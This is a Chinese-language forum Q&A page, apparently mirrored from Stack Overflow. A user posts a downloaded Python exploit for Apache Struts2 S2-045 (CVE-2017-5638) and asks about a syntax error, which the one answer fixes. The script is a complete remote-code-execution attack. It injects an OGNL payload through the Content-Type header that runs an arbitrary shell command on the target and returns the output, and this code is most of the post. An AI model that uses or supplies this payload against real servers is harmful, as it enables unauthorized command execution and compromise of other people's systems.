【问题标题】:I downloaded exploit script for vulnerability and when try to run it, it give me an error我下载了漏洞利用脚本,当尝试运行它时,它给了我一个错误
【发布时间】:2020-02-28 14:07:15
【问题描述】:

我下载了python脚本以利用apache 2.2.25中的漏洞并开始运行它 它给了我一个错误 还有代码

    #!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page
    if __name__ == '__main__':
        import sys
        if len(sys.argv) != 3:
            print("[*] struts2_S2-045.py <url> <cmd>")
        else:
            print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
            url = sys.argv[1]
            cmd = sys.argv[2]
            print("[*] cmd: %s\n" % cmd)
            exploit(url, cmd)

这是一个错误:

File "41570.py", line 31
    except httplib.IncompleteRead, e:
                                 ^
SyntaxError: invalid syntax

我对python不太了解,所以请大家帮忙

【问题讨论】:

  • 错误很明显。你有语法错误。

标签: python python-3.x linux apache


【解决方案1】:

您使用的语法适用于 Python 2.5(及更早版本)。对于 Python 2.6 和 3.*,使用这个

except Exception as e:

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2018-12-12
    • 1970-01-01
    • 1970-01-01
    • 2023-04-06
    • 1970-01-01
    • 2022-01-14
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多